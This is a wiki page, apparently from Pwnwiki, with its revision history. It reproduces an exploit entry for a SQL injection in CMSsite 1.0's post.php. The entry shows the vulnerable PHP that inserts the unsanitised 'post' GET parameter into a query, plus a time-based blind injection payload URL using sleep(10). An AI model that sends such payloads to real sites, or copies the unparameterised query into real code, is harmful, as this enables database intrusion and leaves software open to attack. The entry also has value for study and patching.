Pwnwiki: Created page with "==EXP==

 # Exploit Title: CMSsite 1.0 - 'post' SQL Injection  # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan[@]gmail[.]com # Discovery Date: February 17, 2..."

2021-05-02T05:05:38Z

Created page with "==EXP== <pre> # Exploit Title: CMSsite 1.0 - 'post' SQL Injection # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan[@]gmail[.]com # Discovery Date: February 17, 2..."

New page

==EXP==
<pre>
# Exploit Title: CMSsite 1.0 - 'post' SQL Injection

# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 17, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1

# PoC:
# Vulnerable File: post.php
# Vulnerable Parameter : post

if (isset($_GET['post'])) {
$post = $_GET['post'];
}
$query = "SELECT * FROM posts WHERE post_id=$post";
$run_query = mysqli_query($con, $query);

# Payload: http://localhost/CMSsite/post.php?post=1%20and%20(sleep(10))

</pre>

CMSsite 1.0 - 'post' SQL注入漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: CMSsite 1.0 - 'post' SQL Injection # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan[@]gmail[.]com # Discovery Date: February 17, 2..."